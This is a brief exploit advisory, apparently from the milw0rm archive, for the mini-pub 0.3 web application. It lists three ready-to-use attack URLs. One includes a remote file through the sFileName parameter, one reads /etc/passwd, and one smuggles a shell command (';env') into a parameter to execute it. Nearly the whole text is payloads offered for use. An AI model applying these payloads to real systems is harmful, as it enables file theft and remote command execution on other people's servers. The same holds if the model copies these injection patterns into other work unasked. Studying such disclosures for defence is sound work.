18 lines
No EOL
479 B
Text
18 lines
No EOL
479 B
Text
mini-pub 0.3 multiple vulnerabilities
|
|
|
|
download http://sourceforge.net/projects/mini-pub/
|
|
|
|
author muuratsalo
|
|
contact muuratsalo[at]gmail.com
|
|
|
|
exploits
|
|
1. local file disclosure
|
|
http://localhost/mini-pub.php/front-end/img.php?sFileName=http://site.com/cmd.txt?
|
|
|
|
2. local file disclosure
|
|
http://localhost/mini-pub.php/front-end/cat.php?sFileName=/etc/passwd
|
|
|
|
3. command execution
|
|
http://localhost/mini-pub.php/front-end/cat.php?sFileName=a%3Benv
|
|
|
|
# milw0rm.com [2008-10-12] |